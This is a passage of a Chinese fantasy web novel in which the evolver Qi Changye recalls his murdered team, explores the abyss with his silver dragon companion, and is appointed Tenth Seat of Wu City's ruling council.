“你别看现在的第十席好像很窝囊，他的上一任可是乌城当之无愧的一人之下，又吞下了灰烬的遗藏，那几年间，可谓一手遮天，几乎要取代第一席的位置。” 宋星星：“……这不是他罔顾人命的理由。” 他吸了一口气：“所以，那场围剿里，只有祈哥活了下来？” “不，从一开始他就不在那场围剿里，大概是第十席也知道，有他在，要抹杀薪火小队几乎不可能。” “所以，他们给他安排了另一个任务，将他提前调离小队，再针对他发起了一场单独的刺杀。” “当然，那次刺杀，他们失败了。” 雅歌说到这里，停顿一下：“你知道，长夜曾经有很多功勋点吧？” “对，祈哥很厉害！我们黄金小队加起来也超不过他！” 雅歌淡淡地说：“那三年间，他一直高强度地接下各种任务，不仅是因为乌城的刻意为难，也是因为他需要足够多的功勋点，为队友换来晚年能够在乌城安详养老的机会。” 宋星星诧异了一下：“等等，他们没有乌城的身份卡吗？” “身份卡？”雅歌嗤笑一声，“进化者的寿命比普通人更长，但也会老去、会衰弱，而乌城，只允许巅峰期的进化者留下。” “你现在的身份卡，可以任由你在乌城通行，但几十年后，当你老去，又或者因为任务导致身体受到什么损伤，无法恢复——那么很遗憾，你的‘上城’身份卡，就是一张废卡了。” 她偏过脸，对上宋星星睁大的眼睛：“怎么，这些事情，你的队长也没有告诉你吗？” 宋星星目瞪口呆，仿佛受到某种冲击，半天说不出话。 雅歌不再与他交流，挥动着铁揪挖土，思绪游走到了几年前。 在乌城如日中天的第十席，死于一个冰冷的雨夜。 那一夜，第十席的府邸，正在举办盛大的宴会。 富丽堂皇的宴会大厅，宾客如云，钻石珠宝歌颂着胜利。金碧辉煌的穹顶下，得胜者们肆意地庆祝，为赢下一场杀戮的胜事而洋洋自得。 广阔的府邸被灿烂的金色笼罩，就连夜间乌墨般的雨丝，都被染上金黄，像一场黄金之雨。 然后，雕金刻花的门扉，被缓缓推开。 乐池激昂的赞美之曲，被轰然降下的雷霆打断。 傲慢的华服贵族们扭头，看见雨幕中，一道孤独的身影。 他不属于这里，也不是被邀请的贵客，浑身浸透雨水，冰冷的水滴溅落，就像溺死的鬼魂，爬出大地。 雷霆自天空劈落大地，一瞬间划破夜幕的炽烈白昼之中，少年缓缓抬头，露出一双森寒幽厉的乌黑眼眸。 这一刻，他不再是阴间爬出来的厉鬼，而是踏着幽冥烈火而来的，复仇的死神。 血腥的雨夜，烈烈火光伴随着轰然雷霆，撕穿深长雨幕，撕穿高居云端的乌城。 “……后来呢？” “后来，他就被我抢到芙洛城咯。”雅歌说，“把他抢过来可真不容易啊，那可是乌城最好的进化者，这世上有眼无珠的人太多，很不巧，我可不是。” 她说到这里，微微笑了起来。 照亮深渊的火种，怎能让他熄灭于深渊？ “不准偷懒！”旁边探过来一个艾丽娅的脑袋，“死手快挖啊！” “……” 荒原之上，众人正在开工，挖掘荒原。 这一大片荒原，原本都是芙洛城所管辖的深渊的位置。 而现在，一整片深渊消失，那些进攻要塞的怪物也随之不见。 同样失踪的，还有火种小队队长，祈长夜。 ——深渊之下，清悦的男声静静地流淌在黑暗里，从十二岁到十八岁，过往的六年，很快流淌到了尾声。 祈长夜摊开掌心，上面躺着一颗糖。 那一天，他从队长鲜血淋漓的衣服里，翻出了一小包糖。 从孤儿院第一次走到外面的世界的少年，被接到薪火的第一天，才尝到了糖的滋味。 那之后，他的队长，他的队友们，每次出任务，都会给他带回一小包糖。 最后一包糖，浸透鲜血，拆开破碎的包装，鲜红晶莹的糖果，就像血淋淋的眼球，死死地凝视着他。 从那以后，他再也无法尝到甜味。 【哥哥】 银龙垂下脑袋，缠绕的龙躯像是有力的手臂，紧紧抱住了他。 【要是我能早点来到哥哥身边就好了】 虽然早有猜测，但真正得知过去的那一刻，那双金色龙瞳，还是爬上了森冷的寒意。 那些伤害过哥哥的人，都该死。 低落的少年声音，染上了愧疚：【是我不好，我来得太晚了】 如果它能早点和哥哥相遇，如果它能早点变得强大—— 祈长夜微微摇头：“能和你相遇，已经是我的幸运了。” 祈霁立刻抬头。 【也是我的！】 大声地强调一下。 祈长夜眼底柔和，摸摸他的小龙：“嗯。” “以前没告诉你，是因为我还没有勇气面对过去。”他一下一下抚摸银龙脑袋，乌黑眸底，静水深流，“现在不会了。” “因为你在我的身边，所以，过去的梦魇也不再可怕。” 金色的龙瞳闪了闪，祈霁将脑袋蹭进祈长夜胸口，那条尾巴飞快地摇来摇去。 开心。 开心了没多久，细长的尾巴轻轻绕过祈长夜小腿，一下一下磨蹭。 【可是】 再开口时，少年的声音却有些闷闷的。 【他们对哥哥一点也不好】 【哥哥不要选择他们，只选我一个，好不好？】 亲昵的尾音，像是在甜甜地撒娇。 祈霁依然埋在祈长夜怀里，在他看不到的地方，那双龙瞳深处，染上了几分幽深。 它想将哥哥留在这里，只有他们两个。 它能一直保护哥哥，哪怕世界毁灭，它怀里的人类，也不会受到半点伤害。 太阳不会再次坠落，它的珍宝，永远都属于它。 ——然后，祈霁听见它的人类的轻语，好听的声音，依然沉缓而平静，像是从未沾染过风霜： “我憎恨的人，都被我亲手杀死，这个世界，并不只有憎恨。” “我受到过很多人的恩惠，他们有的已然长眠，有的依然行走在天光下。” “如果人类终将迎来末日，我希望，能和他们一起，走向黑夜之后的黎明。” 他对自己的小龙摊开修长的手指，乌黑的眼眸清亮，似有融融的火光。 “你愿不愿意和我一起，改写一个不一样的未来？” “……” 祈霁安静地望着他的眼眸，就像望着永远笼罩在深渊之上，静谧而温柔的月亮。 片刻后，少年低低的声音，在黑暗之中响起：【如果我不答应呢？】 祈长夜沉默片刻。 “那么，”他平静地说，“我只能不理你了。” 转过了脸。 祈霁：“……” 银龙悄咪咪绕了一圈，绕到祈长夜的面向，探头探脑。 祈长夜又转到另一边。 银龙再悄咪咪地绕过去。 祈长夜直接背对了它。 “…………” 一大条银龙垂头耷脑，蔫蔫地趴在了哥哥腿上，滚来滚去。 漂亮的鳞片，很快沾满灰尘，变得灰扑扑的。 祈长夜还没做什么，就见这条大龙啪叽一下，变回了一只巴掌大小的银白小龙。 气呼呼地扑到他身上，飞快蹭蹭。 【好吧！】 小龙昂起软软的龙角，大声叭叭。 【哥哥说什么就是什么吧！】 【谁让我是哥哥最喜欢的小龙，哥哥只喜欢我！】 这只小龙叭叭完，气呼呼地黏在哥哥胸口，一动不动了。 祈长夜安静一秒，哑然失笑。 他抬手，想要摸摸小祈霁，小祈霁气势汹汹地扭过脑袋，又落到他的肩上。 坐下来，揣着两只小爪爪，好像在生气地抱胸。 祈长夜看着小龙。 小龙气鼓鼓地看着他。 片刻后，祈长夜微微低头。 在小祈霁头顶，落下一个轻浅的吻。 “谢谢。”他轻声说。 谢谢他的小龙，愿意陪他走完剩下的漫漫长路。 小祈霁：“……” 哥哥刚刚做了什么？ 银白的小龙，好像一下子呆住了，变成一条呆呆龙。 过了两秒，一点绯红，悄然蔓上银白的龙鳞。 祈长夜眼睁睁地看着，他的银白小龙，变成了一条有点粉粉的小龙。 慢吞吞爬进他的袖子里，藏了起来。 衣袖底下、紧紧贴着手腕的小龙，暖乎乎的，好像比平时烫了一点。 祈长夜安静地等了两秒。 袖子里，冒出一只小脑袋。 “嗷呜。” 【哥哥，亲了我，要对我负责的】 少年小声叭叭。 祈长夜：“好吧，对你负责。” 小龙又慢吞吞藏回了袖子里。 过了两秒。 很开心地唱起了歌。 祈长夜：“……” 第四十章 这是它的！ 诡异的歌声回荡在深渊, 宛若悚然的古神低语。 一只银白小龙钻了出来，摇摆尾巴，又变回成年的银龙。 看起来非常靠谱的银龙, 脖颈以上的鳞片还是有点粉粉的, 软趴趴地黏住祈长夜, 磨蹭磨蹭。 【哥哥, 我是超大龙啦】 “嗯。” 祈长夜点了点头：“非常厉害的大龙。” 祈霁得意地哼哼, 低头看看自己。 【！】 这只银龙才发现，自己原本闪亮亮的鳞片，不知什么时候沾满尘土。 从让哥哥喜欢的干净小龙, 变成了脏兮兮, 灰扑扑的大龙。 顿时, 那双金色的龙瞳里流露出了一点小心虚, 发现哥哥也被自己蹭脏以后，更是心虚地往旁边挪了挪。 明明是只大龙，却委屈巴巴地蜷缩了起来，盘成了一大团。 祈长夜伸手，直接抱住银白大龙, 掌心顺着它的脊背往下抚过。 和软趴趴的小龙不同，成年的银龙，牢不可破的鳞甲之下藏着充满力量的肌肉, 却又温顺地为他蛰伏, 连鳞片都变得柔软起来。 手感很好, 多摸了两下。 然后，他就感觉掌心底下, 原本蔫蔫的银白大龙又支棱了起来，细长的尾巴绕过他的腰间, 顺着脊椎攀上，隔着薄薄衣料，摩挲他的脊背。 不知是不是因为衣料太薄，龙尾反复摩挲之间，有些微微发烫。 祈长夜：“走吧，我们该回去了。” 祈霁一声不吭，慢吞吞地靠过来，缠紧了哥哥。 祈长夜只觉那条细长尾巴不太安分地游离在他身上，缠缠绵绵地绕过了腰间与脊背，一不留神，又要钻进他的衣服底下。 捏住。 飞快甩来甩去。 “……” 银龙乖乖地眨巴眨巴眼睛，俯下龙躯。 【哥哥，坐上来】 微风流转，银白巨龙载着它的人类，乘风而起，游走于庞大的深渊之间。 祈长夜坐在龙背上，目光掠过四周。 这片被彻底封存于地下的深渊，不再有怪物，而是一片纯粹的黑暗。 祈长夜低声说：“深渊，到底因何诞生？” 祈霁回头，看了他一眼。 【哥哥，这世上一些事情，本来就是没有道理的】 那双金色的龙瞳眨巴一下，少年的声音随之变得甜甜的。 【不像我喜欢哥哥，就很有道理】 说得很好听，所以祈长夜奖励了这只小龙一颗糖。 “去深渊之底看看吧。” 【好】 银龙蜿蜒，穿梭在黑暗的深渊里，像是坠入深海的银月。 祈长夜的目光重新落回他的小龙身上，过了一会，祈霁又回头。 【哥哥干嘛一直看着我】 祈长夜：“你很好看。” 确实很好看，以前还是小龙的时候就非常漂亮，现在变成成年的银龙，颜值同等放大了数倍。 从一小块亮晶晶，变成了巨大一块亮晶晶。 而且，莹润的银白色泽，是祈长夜喜欢的颜色。 【！】 银龙得意洋洋，开始扭来扭去，卷起嗖嗖的风。 【哥哥最喜欢我！】 “嗯。” 【哥哥只喜欢我一个！别的都不喜欢！】 “嗯。” 银龙扭得更欢快了，像只开心的麻花卷。 “……要撞上了。” “！” 深渊第十层，一人一龙落地，祈霁围着哥哥飞了一圈，发现不太方便黏着哥哥，于是毫不犹豫地变成银白小龙，软软地扑到他的掌心里。 非常惬意地趴在哥哥掌心，摇摇小尾巴，被哥哥带着往前走。 祈长夜用手指逗逗小祈霁，沿着附近转了一圈。 芙洛城所管辖的这片深渊之底，他曾在这里遇到巨龙骸骨，也见到不知是过去还是未来的画面，更得到了一份深渊馈赠的力量。 深渊的异变，由此而起。他和他的小龙的初遇，同样来自这里。 祈长夜隐约有个猜测，旧地球时代的那条真龙陨落于此，以己身镇住深渊，所以，这里是一切深渊的“枷锁”，甚至有可能，是深渊的起源。 他想在这里找到更多的线索，然而，转过几圈，依然徒劳无功。 他低头，戳戳小祈霁：“你有什么办法吗？” 小祈霁想了想。 【哥哥，我试试】 银白小龙微扬起头颅，一声浩渺的龙啸，贯穿深渊之底。 青铜古钟般混沌威严的龙吟，于寒渊中回响不绝，仿佛激起血脉深处的古□□鸣，令祈长夜的眼眸微微泛起泠然光泽。 他心道：明明很好听。 ……为什么唱歌就变异了。 这个想法刚刚落下，似有某种情绪无端浮起，他恍惚了一下。 一段蒙尘的记忆，从旧岁的光阴里，毫无征兆地启开一角。 ——他看见，一个黑发黑眼的瘦弱男孩，跪在无边的黑暗里，抱着一个小小的光团。 男孩遍体鳞伤，鲜血染红宽大的白色实验服，袖口间有个清晰的标记，“E-11”。 那是他曾经的代号——在灰烬的孤儿院里，被打下的烙印。 瘦骨嶙峋的男孩，不知为何陷落深渊，最残酷的深渊侵袭疯狂撕扯着他的身躯，仿佛利齿森然的恶兽，残忍地咀嚼着弱小的猎物。 很快，男孩孱弱的身体几乎要被撕裂，鲜血在他身下汇成河流，而他却仿佛不知道痛楚，低着头，露出森森白骨的双臂，紧紧抱着什么东西。 那是一只模糊的半透明光团，黯淡的微光组成团型，隐约是个蛋的模样。 “对不起……对不起……” 深渊之下，男孩似乎失去了意识，雪白的脸庞流出鲜红的血泪，不断重复这几个字。 在他的怀里，黯淡的光团一动不动，它只有一点点大，像是狂风中的残烛，随时会熄灭。 冰冷而残酷的深渊，孱弱的男孩和渺小的光团，谁也不知道他们是如何相遇的，但，他们似乎谁也保护不了谁。 “对不起……” 男孩的声音愈发低弱，失神的乌黑眼眸被血泪浸满，鲜红的泪水一滴滴砸在光团上，砸下一滴，小小的光团就微微地抖一下。 ——哪怕男孩的身体早已在深渊的侵蚀间溃不成形，也没有松开护住光团的双臂。 随着血泪不断落下、一点一点融入了光团，原本半透明的黯淡光团，似乎变得明亮了一点，涣散模糊的圆形，也缓缓凝聚出了实体。 最后，这只小小的光团动了动，像是从懵懂中苏醒的幼崽，轻飘飘地从男孩怀里飘了出来。 小小的光团围着男孩转了个圈圈，轻蹭他的脸颊，簌簌散发出微光。 光芒，驱散了黑暗。 【哥哥？】 【哥哥！】 祈长夜回神，眸光凝聚，对上一双竖立的龙瞳。 银龙盘旋在他身边，摆出守护的姿势，那双龙瞳，定定地盯着他。 【哥哥，你回来了吗？】 “……嗯。”祈长夜摸摸祈霁，“不用担心，我没事。” 金色龙瞳隐藏的风浪瞬间隐去，祈霁一声不吭，黏糊糊地把脑袋搭在他的肩上蹭蹭。 【哥哥刚刚忽然就不理我了】 少年的声音有点委屈。 【哥哥是不是看见了什么？】 祈长夜轻按额头，若有所思。 他刚才看见的，应该是十二岁的他。 那一年，灰烬倒台，他作为失败的实验数据，被丢入深渊。 但，那个小小的光团……又是什么？ 为什么，他不记得了？ 银龙围着自己转来转去，祈长夜将自己所见，全部说了出来。 祈霁听完沉默片刻，又蹭蹭他的脸庞。 【哥哥那时候，应该很疼吧？】 【想不起来也没关系，反正，会让哥哥痛苦的记忆，也不是什么好记忆】 祈长夜目光微动，刚想说什么，他脚下的土地，微微凹陷。 深渊，在坍塌。 —— 修拉城。 所有靠近深渊的城市，都围绕深渊，筑起了庞大的钢铁要塞。 因为几日前芙洛城的惊变，修拉城的城主亲临要塞，在高墙边巡逻。 忽然间，他脚下的大地微微震动起来。 城主抬头，映入他眼帘之中的，是此生难忘的一幕—— 狂风卷起，整片苍穹的云层滚滚翻腾，深渊宛若巨大的黑湖，一条难以形容之美丽圣洁的银白巨龙，从黑湖之内腾空而起，于高渺的云端之中，投下威严的灿金竖瞳。 “天呐……” 有人在惊呼，震撼于这一幕，久久不能回神。 “这是神迹吗？” 所有人的目光汇聚之处，银龙降临于高墙，锋利如刀的龙爪温柔地托着一个人类，好像那是它最珍贵的宝物，捧在掌中，小心翼翼放下城墙。 那是个很好看的年轻男子，身姿修长，气质清隽，乌发乌眸，宛若氤氲的山水墨画。 然后，神圣威严的银白巨龙，变成了一只巴掌大的银白小龙，亲昵地跳到年轻男子的肩上，蹦来蹦去。 修拉城城主匆匆赶来，刚好看到这一幕，心中顿时猜到了什么。 尽管如此，他依然难掩震惊：“请问你是……” “火种小队队长，祈长夜。”那个沉静昳丽的年轻男子转过脸庞，声音清和，“请问，这是哪里？” ——察觉到深渊第十层的坍塌，祈长夜就和他的小龙离开了那里。 因为原本的那片深渊已被封存于地下，所以，他们穿行过漫长的黑暗，来到了另一片相连的深渊。 修拉城，和芙洛城千里之距。但，两座城市所管辖的深渊，却在地下相连。 修拉城的城主接待了他们，将他们引入城内。 刚入城主府邸，一道身影迎了上来。 “祈队！久仰久仰，没想到我居然有幸得见真人！” 那个男人的目光停在祈长夜脸庞，明显流露出了惊艳的神色，笑眯眯地伸手。 “我是城主的弟弟，叫我多伦就可以。” 祈长夜与他握手，刚刚贴上掌心，多伦就又伸过来一只手，捏住他的手，用力地晃一晃。 小祈霁立刻探头，紧紧盯住多伦。 多伦似乎才看见这只银白小龙，被那对龙瞳吓了一跳，飞快收回手：“祈队，这位是……” 祈长夜揉揉小祈霁：“我弟弟。” 多伦打了个哈哈，又将人往里面引。 “祈队，难得驾临我们这里，一定要给个机会，让我好好招待……” 说话间，他的手已然揽向祈长夜—— 小祈霁：“？？？” 下一秒，银白小龙往前一跳，凶巴巴地龇牙。 不准靠近它的哥哥！ 这是它的！ 超凶！ 40-50 第四十一章 第十席 高空的视野开阔, 大地山川都在眼中俯倒。流云随风卷动，凛冽的风绕过身边时，变得温和而轻缓。 祈长夜坐在银龙背上, 一下一下抚摸银白的鳞片。 【哥哥是我的！】 祈霁在他耳边大声叭叭。 【谁也不准抢走！】 祈长夜：“好吧, 好吧, 别生气。” 银龙非常霸气地一扭脑袋, 表示自己才没有生气。 ——虽然, 不久前，发现有人觊觎它的哥哥以后，这只银白小龙直接跳了起来, 非常凶巴巴地震慑住了对面。 被炸毛的小祈霁叼住衣角, 听着耳边少年的叭叭, 祈长夜向修拉城的城主告别, 婉拒了对方用直升机将他们送到芙洛城的提议，被银龙载向了天空。 此刻，某只大龙还在祈长夜耳边嘀嘀咕咕，说的无非是一些“讨厌觊觎哥哥的人”、“他们能不能离哥哥远点”之类的碎碎念，祈长夜听了一路, 慢悠悠地摸摸他的小龙。 过了一会，他收回手，银龙立刻扭头, 一眨不眨地看着他。 祈长夜继续摸摸他的小龙。 银龙这才满意地把脑袋扭回去, 惬意地穿梭在云层之间。 【哥哥, 看】 少年的声音甜甜的，祈长夜侧首, 银龙用尾巴卷起云层，堆出了一个个圆鼓鼓的小爱心。 “很可爱。” 祈霁微微昂起下颌：“他们都做不到, 只有我可以。” “嗯，”祈长夜说，“你最厉害。” 银龙开心地扭来扭去。 祈长夜抬手，微风流转过他的指间，卷动云层，在他身边，堆出了一排排小爱心。 的确，很可爱。 他柔和的目光下落，第一次坐飞机还晕乎乎的小祈霁，好像转眼间，就变成了能够自在翱翔于天空的大龙。 “对了，”他忽然想起什么，“你认路吗？知道芙洛城是哪个方向吗？” 微风停止，祈霁沉默两秒。 【哥哥，走哪边来着？】 祈长夜同样沉默两秒。 “我也不知道。” “……” 一人一龙停在天空，短暂地面面相觑。 —— 芙洛城上空。 雅歌抬头，略有些惊讶地看着一条银色巨龙，非常霸气地降临城墙。 一点也没有在天上迷路乱转了几十圈的样子。 祈长夜从银龙背上跳下，听见雅歌吹了声口哨：“这又是你从哪里捡来的小崽子？和之前的都不一样。” 祈霁：“？” 银龙踩在城墙上，威风凛凛地沿着祈长夜转了一圈，将他的人类圈住。 祈长夜伸手——稳稳地接住一只跳下来的银白小龙。 “这段时间，芙洛城怎么样？” “托你的福，深渊被解决了，芙洛城没事，也没多少伤亡。”雅歌说，“倒是你弟弟，怎么一下子变得那么大了。” 祈长夜：“因为他是厉害的大龙。” 小祈霁在他掌心蹦跶一下，十分得意地叉腰。 祈长夜的目光掠过城墙，原本深渊的位置，已然化为一片荒原平地，割裂大地上百年的黑暗深谷，好像从未存在。 不过，平地的土壤被翻起，到处都是挖掘的迹象，还有几架挖土机，刚刚停止工作。 他向雅歌投去询问的眼神，雅歌回了个调侃的眼风：“我们以为你被埋地下了，挖了你好几天——所以，其实只是你弟弟把你抢去度蜜月了？” “……” 祈长夜无言，摇了摇头，垂眼，掌心里，小祈霁眼睛亮亮地点点脑袋。 “？” 他屈起指节，敲一下这只小龙脑壳。 小龙啪叽一下躺平，在他掌心里打了个滚。 “祈哥！” 一道身影从墙那边传来，有人欢快地奔向他。 “太好了，我就知道你没事！” 宋星星嗷嗷嗷地冲过来，双手一伸就想抱住祈长夜——撞上一面风墙，被反弹了回去。 小祈霁跳到祈长夜肩头，昂首挺胸，露出凶巴巴的眼神。 然后祈长夜就上前一步，主动走出了那道风墙。 小祈霁：“……” 它扭过脑袋，看着哥哥的目光落在那个人身上，对他说出了好听的声音：“上次多谢你，帮了我们大忙。以后需要什么，可以直接告诉我。” 宋星星挠挠头：“啊？我好像什么都没做啊？” “你的能力很有用。”祈长夜说，“不愧是个优秀的进化者。” 宋星星嘴角一下子咧开了：“嘿嘿嘿嘿嘿！” 小祈霁：“……” 它幽幽地抬起小爪爪。 祈长夜没低头，精准无误地捏住那只小爪爪，晃一晃。 雅歌拍拍宋星星肩膀，提溜着他的衣领，将一脸茫然的他往后提了提：“所以，有没有人能解释一下，深渊到底是怎么回事？” 祈长夜开门见山：“未来，深渊可能会失控，彻底脱离地下。” 雅歌：“是单单我们芙洛城这么幸运呢，还是大家都有份？” “全部。” “……这可真是好消息，”雅歌说，“再没有比这个更好的消息了，艾丽娅听到会很高兴的，她很快就可以不用加班了。” 宋星星：“要放假了吗？” “……” 雅歌怜爱地摸摸他的脑袋：“玩去吧。” 宋星星：“？” 雅歌落下手腕，敲了敲镶嵌在手背上的通讯芯片。 “我已经向乌城上报，深渊暴乱，第十席叛变人类，当众刺杀我这个芙洛城城主，打开要塞大门，放任怪物全部流向防备薄弱的芙洛城，犯下的重罪，足以让他判处几百遍死刑。” 她的手指在通讯器上操作，弹出一道光屏，是向乌城汇报的急件。 祈长夜的目光略过上面的内容，陷入沉默。 “火种小队队长祈长夜，为拯救芙洛城，杀死罪人，平定暴乱的深渊，最后为人类牺牲，坠落深渊，从此长夜难明。”雅歌捏着嗓子，“艾丽娅写的，怎么样，是不是很感动？” “她以为你要死了，可是抱着晶石狠狠哭了一场呢。” 祈长夜默然片刻，说：“替我谢谢她。” 他捧起小祈霁：“平定深渊，祈霁也有一半功劳。” 小祈霁不解地看着他。 【哥哥，可是我——】 它明明对哥哥做了不好的事情。 祈长夜摸摸小祈霁脑袋：“我记得。” 他还记得，最关键的时候，深渊一声龙吟，镇住了所有怪物。 小龙仰着脑袋，软软的小尾巴一下子翘起，摇得飞快。 “好的，”雅歌敲敲键盘，“现在给你加上去，多赚点功勋。” 新的急件发了出去，她收回手：“那么，你之后打算怎么做？” 祈长夜眼眸平静：“回乌城，敲响警钟。” “现在的乌城，已经没有第十席了。”雅歌看着他的眼睛，“你如果现在回去，等待你的，可能是好消息，也可能是最坏的消息。” 【哥哥，不用怕】 小祈霁贴住祈长夜脸庞。 【我不会让任何人伤害你】 祈长夜对上那双金色的龙瞳，微微笑了一下。 “无所谓，我不是一个人。” 旁边的宋星星呆住了。 雅歌好像也卡壳了一下。 过了几秒，她非常严肃地说：“下次少笑点，会影响我的精神力。” 祈长夜：“？” 他低头，小祈霁在挥动爪子。 哥哥以前只对它笑的！ “……” 城墙上，众人散去的时候，宋星星悄悄凑近。 “祈哥，之前，我在深渊看到了……” 他将自己在深渊之底所见到的画面描述了出来。 祈长夜听完，微微沉默。 他的视角里，只有末日之下的银龙，然而宋星星的视角，他和银龙是一起的。 但，宋星星所见到他居然是长发，并不是他现在的样子。 “你确定那是我？” “对啊！”宋星星飞快点头，“我不会认错的！而且，和你弟弟在一起的，不只有祈哥你嘛！” 祈长夜眼眸沉凝。 “难道我觉醒了预言的能力？”宋星星先是一喜，随后又有点担忧，“可是，那个预言，看着不是很吉利的样子。” 他半喜半忧，想也想不通，于是选择了放弃思考，下意识就要把手往祈长夜肩上一搭。 银白小龙瞬间跳到祈长夜肩膀上，呲牙。 超凶！ 宋星星吓了一跳：“它它它，它凶我！” 祈长夜垂眼，小祈霁依然摆出凶巴巴的姿势。 ……他的小龙，好像是变凶了一点点。 祈长夜抬手，指腹落在小祈霁头顶，揉啊揉，又熟练地顺着脑袋一路抚下去，从脊背摸到尾巴尖尖。 这只小龙哼哼，很舒服的样子，躺在他的掌心里，露出软软的小肚子，抱住他的手指蹭来蹭去。 宋星星大为称奇，试探着再凑近一点。 小龙又弹起来，凶巴巴地龇牙。 “……” 宋星星默默挪远了几步。 祈长夜说：“你的队友呢？” 他好像并未看见黄金小队。 “啊，他们先回去了。”宋星星缩了下脖子，“感觉队长要骂我……” 祈长夜：“不用担心，我会帮你向他们解释。” “好耶！” 宋星星欢天喜地地走后，祈长夜捧起小祈霁：“怎么变凶了？” 小祈霁看着他，睁着圆溜溜的金色龙瞳，无辜地歪了下脑袋。 【哥哥答应过我，不会看别人的】 祈长夜默默地想，我好像没有答应过。 银白小龙又飘过来，软软地蹭蹭他的脸庞，嗷呜嗷呜，翻过软乎乎的小肚子，给他摸摸。 撒娇。 祈长夜看着这只可可爱爱的小龙，沉默片刻，还是伸出手，被那双小爪子紧紧抱住了。 小祈霁的脑袋埋入祈长夜掌心，轻轻磨蹭，在他看不到的地方，龙瞳一片幽深。 哥哥是它的。 只属于它的。 —— 乌城，议事厅。 只剩下十一位坐席的殿堂内，再次召开了十二坐席会议。 然而，这座神圣殿堂没有丝毫威严凛然的气息，而是一片吵闹。 第十二坐席痛苦地抱住脑袋，他怀疑自己陷入了一个轮回，同样的争吵，同一件事情——死的又是第十席，凶手还是那一个！ 怎么又是他！为什么还是他！ 总不能再来第三次吧！ “深渊动乱的事实已在眼前，警钟已经敲响，人类百年间最大的挑战即将到来。” 第三席的声音，压过了嘈杂。 “诸位，灾难当前，我们还要在这里吵闹不休吗？” “……” 短暂的寂静后，一道女声响起：“赞同。” 那是第十一坐席。 “说得轻巧……”有人冷笑一声，来自第七坐席，“这已经是祈长夜第二次藐视议事厅权威！居然胆敢杀死尊贵的坐席，还不是第一次！天底下有这样胆大包天，行径猖獗的凶犯吗？” “要我说，他就该千刀万剐，尸首示众，以做惩戒！” “第十席所犯下的罪行本就不可宽恕，铁证如山——当然，上一个第十席也是如此。”第三席淡淡地说，“如果那时，祈长夜不阻止他，芙洛城早已沦为无人生还的血城，那些深渊的怪物，也将肆虐下一个城市。” “试问在座诸位，谁能以一己之力，封印整片深渊？” “如果将来，深渊再次暴动，谁能像他一样，在如此短暂的时间之内，平定灾难？” “……” 短暂的沉寂之后，第七席怪腔怪调地挤出一声冷笑：“看来第三席大人很擅长为一个杀人犯镀上金冠。” 第三席淡然回应：“看来第七席大人很遗憾没能亲临芙洛城，不然就能和第十席一起，捧两座金身回来。” 第七席：“你——” 第二席的声音响起：“现在的当务之急，是选出新的第十席，议事厅存在百年，从来没有空缺的先例。” 第三席的目光平淡扫过对面，当局势不利，就一味地转移话题，轻飘飘揭过，实际私下重算。 他再次开口：“我举荐一个新的人选。” 第三席轻敲光屏，一个名字缓缓勾勒出来。 “诸位，谁赞同，谁反对？” 第七席拍桌而起：“你别太过分！” “我赞同。” 长桌末端，第十一席再次出声，慢悠悠地举手。 她的对面，第十二席惊愕地看着那个名字，再看看自己，再看看后方的殿堂大门，默默地把座椅往后挪了挪。 就在新一轮的争吵即将再度爆发之时—— “赞同。” 黄金长桌的上方，一道低沉的声音，如法槌落定。 刹那间，殿堂皆静。 明蓝面具之下的眼眸微动，缓缓侧首，望向他的上方。 他所见到的，只是长桌首席，那张掩盖了一切喜怒的空白面具。 —— 克里斯跟随第三席，穿过一道道长廊，最终来到乌城高处。 他静静地站在屋檐下，碧蓝的天空，阳光不知第几次照耀乌城。 忽有狂风大作，庞然大物遮天蔽日，扫荡滚滚云层。 银龙降临乌城之顶，居高临下，威严凛然。踩在银龙背上的年轻男子一跃而下，狂风卷起乌黑衣摆，如展翅的苍鹰。 他抬起修长手指，指间缠绕一条细长的银白小龙，露出金色的冷冽龙瞳。 等候已久的克里斯露出了激动的神色。 此刻，在他面前之人，将是乌城有史以来最年轻的坐席，乌城顶峰的十二人之一—— 第十席，祈长夜。 第四十二章 哥哥，有奖励嘛？ “欢迎重归乌城, 第十席大人。” 克里斯的话语激动，祈长夜微微摇头：“你还是和以前一样叫我吧。” “好的，祈队。”克里斯从善如流地改口。 祈长夜转向明蓝：“谢谢明先生。” “不必谢我, 我也是为了我自己。”明蓝淡淡地说, “以后, 克里斯就是你的副官。” 克里斯原本就笔直的脊背又挺直了几分：“是！我一定全尽我所能, 追随第十席大人！” 小祈霁沿着祈长夜的手背溜溜达达, 轻轻扒拉他的袖子。 【第十席大人】 少年的声音含着笑意，充满珍重。 祈长夜低头，望着那双弯弯的龙瞳, 揉搓揉搓他的小龙。 明蓝的目光落到那只银白小龙身上, 一言不发地观察。 小祈霁抱住哥哥手指, 抬头, 淡定对上他的目光。 明蓝：“它是真龙？” 祈长夜：“是的。” 银白小龙优雅昂首。 明蓝：“既然是真龙，怎么还像个小孩子一样黏着你。” 祈长夜低头，看了眼他的小龙，平静地说：“很可爱。” 小祈霁优雅地扬起尾巴，欢快地原地转了一圈。 明蓝收回目光, 大步向后走去：“走吧，议事厅的会议很快召开。” 祈长夜：“我需要做什么？” “吵架。” “……” 议事厅殿堂的长阶前，克里斯停步。除了十二座席之外, 闲杂人等都没有资格在会议期间进入殿堂。 祈长夜淡定地将小祈霁放进衣兜里, 银白小龙冒出一只小脑袋, 左看看右看看，很快藏进去了。 明蓝就当没看见。 穿过层层石柱, 即将进入殿堂前，明蓝将一套崭新的坐席衣袍, 递到祈长夜手上。 雪白的长袍，银色面具，刻有象征“十”的纹路。 “明先生。” “你说。” “面具和白袍，有什么深意？” “好听的说法，象征着议事厅的荣耀。” “不好听的？” “面具可以遮挡表情，白袍可以限制行动。”明蓝面无表情，“吵起来不会表情乱飞，也不方便打架。” “……” 议事厅，银白门扉开启，黄金长桌之上，十位坐席已然齐聚。 十道视线齐齐落在祈长夜身上，情绪各不相同。 没有家世，仅仅是因为平定深渊的功绩，居然就成为了乌城最尊贵的十二坐席，和他们拥有同坐一桌的资格。 不管怎样，这位年轻的第十席，都算他们的“熟人”了。 无论他人的目光如何，祈长夜都淡定地落座在属于他的位置之上。 不知为什么，第十二席默默地把自己的座椅往后挪了点，离关紧的门扉更近了些。 衣袍之下，某只小龙爬出衣兜，仗着白袍遮掩，在祈长夜身上爬来爬去。 【哥哥哥哥】 【那个人又在看哥哥】 祈长夜微微侧首，对上一道存在感最为强烈的目光。 第一席。 坐席之中，权势最盛，最为强大的存在。但，从不以真容示人，也从不允许其他坐席接近。 见他回望，那道目光依然没有收回，数秒之后，第一席的面具下传出冷淡的男声： “这次会议，是为了讨论今后关于深渊的处置。” 